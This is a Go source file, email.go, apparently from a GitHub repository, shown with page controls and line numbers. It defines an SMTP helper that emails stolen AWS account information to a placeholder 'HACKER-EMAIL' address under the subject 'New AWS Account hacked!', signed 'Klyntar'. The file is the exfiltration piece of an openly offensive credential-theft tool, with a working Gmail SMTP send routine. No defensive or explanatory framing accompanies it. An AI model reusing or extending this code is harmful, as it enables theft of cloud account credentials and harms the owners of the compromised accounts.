-
Notifications
You must be signed in to change notification settings - Fork 0
/
Copy pathemail.go
39 lines (35 loc) · 851 Bytes
/
email.go
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
package main
import (
"fmt"
"net/smtp"
)
type smtpServer struct {
host string
port string
}
// serverName URI to smtp server
func (s *smtpServer) Address() string {
return s.host + ":" + s.port
}
func sendEmail(accountInformation string) {
// Sender data.
from := "YOUR-EMAIL@gmail.com"
password := "PASSWORD"
// Receiver email address.
to := []string{
"HACKER-EMAIL@gmail.com",
}
// smtp server configuration.
smtpServer := smtpServer{host: "smtp.gmail.com", port: "587"}
// Message.
message := []byte("Subject: New AWS Account hacked!\n\n" + accountInformation + "\nAss: Klyntar")
// Authentication.
auth := smtp.PlainAuth("", from, password, smtpServer.host)
// Sending email.
err := smtp.SendMail(smtpServer.Address(), auth, from, to, message)
if err != nil {
fmt.Println(err)
return
}
fmt.Println("Email Sent!")
}